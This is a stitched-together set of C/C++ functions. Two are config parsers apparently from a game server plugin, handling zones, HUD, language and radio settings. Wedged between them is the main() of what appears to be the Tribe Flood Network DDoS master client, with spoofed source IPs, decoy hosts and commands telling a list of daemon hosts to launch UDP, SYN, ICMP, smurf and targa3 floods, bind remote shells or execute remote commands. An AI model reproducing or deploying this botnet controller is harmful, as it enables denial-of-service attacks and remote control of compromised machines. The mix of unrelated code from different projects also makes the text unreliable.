bool parseZonesConfig(const char* path, const char* file) { FILE* fp = fopen(path, "rt"); if (!fp) return false; char buf[2048]; size_t line_number = 0; CFields fields; char format[] = "[en] origin mins maxs"; fields.parseFormat(format); while (fgets(buf, sizeof buf, fp)) { char* line = trimbuf(buf); line_number++; if (line[0] == '\xEF' && line[1] == '\xBB' && line[2] == '\xBF') // BOM line += 3; if (!line[0]) continue; if (!parseLineToFields(line, fields, file, line_number)) continue; if (!fields.getCount()) continue; auto origin = fields.getField(dt_origin); auto mins = fields.getField(dt_mins); auto maxs = fields.getField(dt_maxs); auto lcorner = fields.getField(dt_lcorner); auto hcorner = fields.getField(dt_hcorner); translation_t translations[16]; size_t translations_count = fields.getTranslations(translations, arraysize(translations)); if (!translations_count) { LCPrintf("Invalid zone without name at line %i in %s\n", line_number, file); continue; } if (origin && mins && maxs) { g_zoneManager.addZone(translations, translations_count, origin->vec, mins->vec, maxs->vec); continue; } if (lcorner && hcorner) { g_zoneManager.addZone(translations, translations_count, lcorner->vec, hcorner->vec); continue; } LCPrintf("Not enough coordinates to create zone at line %i in %s\n", line_number, file); } return true; }
int main (int argc, char **argv) { FILE *tfnlist = NULL; char nexthost[BS]; unsigned long tfnhost = 0; int opt; if (argc < 2) usage (argv[0]); while ((opt = getopt (argc, argv, "P:D:S:f:h:i:p:c:")) != EOF) switch (opt) { case 'P': if (strcasecmp (optarg, "icmp") == 0) proto = 0; if (strcasecmp (optarg, "udp") == 0) proto = 1; if (strcasecmp (optarg, "tcp") == 0) proto = 2; break; case 'D': decoy = atoi (optarg); break; case 'S': myip = resolve (optarg); break; case 'f': if ((tfnlist = fopen (optarg, "r")) == NULL) { printf ("Unable to open file: %s\n", optarg); usage (argv[0]); } break; case 'h': tfnhost = resolve (optarg); break; case 'i': target = malloc (BS); strncpy (target, optarg, BS); break; case 'p': port = malloc (BS); strncpy (port, optarg, BS); break; case 'c': cid = atoi (optarg); break; default: usage (argv[0]); break; } printf ("[0;35m\n"); printf ("\tProtocol : "); switch (proto) { case 0: printf ("icmp\n"); break; case 1: printf ("udp\n"); break; case 2: printf ("tcp\n"); break; default: printf ("random\n"); break; } if (decoy) printf ("\tDecoy hosts : %d\n", decoy); if (myip) printf ("\tSource IP : %s\n", ntoa (myip)); else printf ("\tSource IP : random\n"); if (tfnlist != NULL) printf ("\tClient input : list\n"); else if (tfnhost != 0) printf ("\tClient input : single host\n"); else usage (argv[0]); if (port != NULL) printf ("\tTCP port : %d\n", atoi (port)); else if (cid == 5) { port = malloc (BS); strcpy (port, "0"); } if (target != NULL) { if ((cid > 4) && (cid != 10)) printf ("\tTarget(s) : %s\n", target); } else if (cid) usage (argv[0]); printf ("\tCommand : "); switch (cid) { case 0: RID = ID_STOPIT; printf ("stop flooding\n"); if (target == NULL) { target = malloc (BS); strcpy (target, "0"); } break; case 1: RID = ID_SWITCH; printf ("change spoof level to %d\n", atoi (target)); break; case 2: RID = ID_PSIZE; printf ("change packet size to %d bytes\n", atoi (target)); break; case 3: RID = ID_SHELL; printf ("bind shell(s) to port %d\n", atoi (target)); break; case 4: RID = ID_SENDUDP; printf ("commence udp flood\n"); break; case 5: RID = ID_SENDSYN; printf ("commence syn flood, port: %s\n", atoi (port) ? port : "random"); break; case 6: RID = ID_ICMP; printf ("commence icmp echo flood\n"); break; case 7: RID = ID_SMURF; printf ("commence icmp broadcast (smurf) flood\n"); break; case 8: RID = ID_MIX; printf ("commence mix flood\n"); break; case 9: RID = ID_TARGA; printf ("commence targa3 attack\n"); break; case 10: RID = ID_REXEC; printf ("execute remote command\n"); break; default: printf ("error\n"); usage (argv[0]); break; } #ifndef REQUIRE_PASS passchk (); #endif printf ("[0;31m\nSending out packets: [0;0m"); fflush (stdout); security_through_obscurity (1); if (tfnlist == NULL) { printf ( "tnflist null ....\n" ); tfn_sendto (tfnhost); } else { printf ( "tnflist not null ....\n" ); while (fgets (nexthost, 512, tfnlist) != NULL) { switch (nexthost[0]) { case '\n': case '\r': case ' ': case '#': continue; break; } trimbuf (nexthost); tfnhost = resolve (nexthost); if (tfnhost) tfn_sendto (tfnhost); } } printf ("\n"); return 0; }
bool parseMainConfig(const char* path, const char* file) { FILE* fp = fopen(path, "rt"); if (!fp) return false; char buf[8192]; size_t line_number = 0; section_e section = st_unknown; CFields fields; while (fgets(buf, sizeof buf, fp)) { char* line = trimbuf(buf); line_number++; if (line[0] == '\xEF' && line[1] == '\xBB' && line[2] == '\xBF') // BOM line += 3; if (!line[0] || line[0] == '#') continue; if (line[0] == '[') { line++; if (nullLast(line, ']')) section = getSection(line); if (section != st_unknown && section < arraysize(section_default_format)) { char temp[256]; strcpy(temp, section_default_format[section]); fields.parseFormat(temp); } continue; } if (section == st_unknown) continue; if (!parseLineToFields(line, fields, file, line_number)) continue; if (!fields.getCount()) continue; translation_t translations[16]; size_t translations_count = fields.getTranslations(translations, arraysize(translations)); switch (section) { case st_main: { auto param = fields.getField(dt_param); auto value = fields.getField(dt_value); if (!param || !value || !parseParam(param->string, value->string)) LCPrintf("Invalid or unknown parameter at line %i in %s\n", line_number, file); break; } case st_hud: { if (!translations_count) { LCPrintf("Invalid hud mode name at line %i in %s\n", line_number, file); break; } auto x = fields.getField(dt_xcoord); auto y = fields.getField(dt_ycoord); auto r = fields.getField(dt_red); auto g = fields.getField(dt_green); auto b = fields.getField(dt_blue); if (x && y && r && g && b) addHudparms(translations, translations_count, x->float_number, y->float_number, r->int_number, g->int_number, b->int_number); else LCPrintf("Invalid hud parameters at line %i in %s\n", line_number, file); break; } case st_lang: { if (!translations_count) { LCPrintf("Invalid phrase without translations at line %i in %s\n", line_number, file); break; } auto phrase = fields.getField(dt_phrase); if(!phrase) { LCPrintf("Invalid phrase at line %i in %s\n", line_number, file); break; } g_lang.addPhrase(phrase->string, translations, translations_count); break; } case st_radio: { if (!translations_count) { LCPrintf("Invalid radio without translations at line %i in %s\n", line_number, file); break; } auto menuid = fields.getField(dt_menuid); if (!menuid) { LCPrintf("Invalid radio menu number at line %i in %s\n", line_number, file); break; } auto radio = fields.getField(dt_radio); if (!radio) { LCPrintf("Unknown radio command at line %i in %s\n", line_number, file); break; } translation_t phrase_translations[5][16]; memset(phrase_translations, 0, sizeof phrase_translations); bool mult = false; for (size_t i = 0; i < translations_count; i++) { auto lang = translations[i].lang; char* argv[6]; size_t phrases_count = parse((char *)translations[i].text, argv, arraysize(argv), ";\t", false); if (phrases_count != 3 && phrases_count != 5) { LCPrintf("Invalid radio phrases count at line %i in %s\n", line_number, file); continue; } if (phrases_count == 5) { mult = true; } for (size_t j = 0; j < phrases_count; j++) { phrase_translations[j][i].lang = lang; phrase_translations[j][i].text = argv[j]; } } g_game.addRadio(menuid->int_number, radio->string, phrase_translations, translations_count, mult); break; } default: break; } } return true; }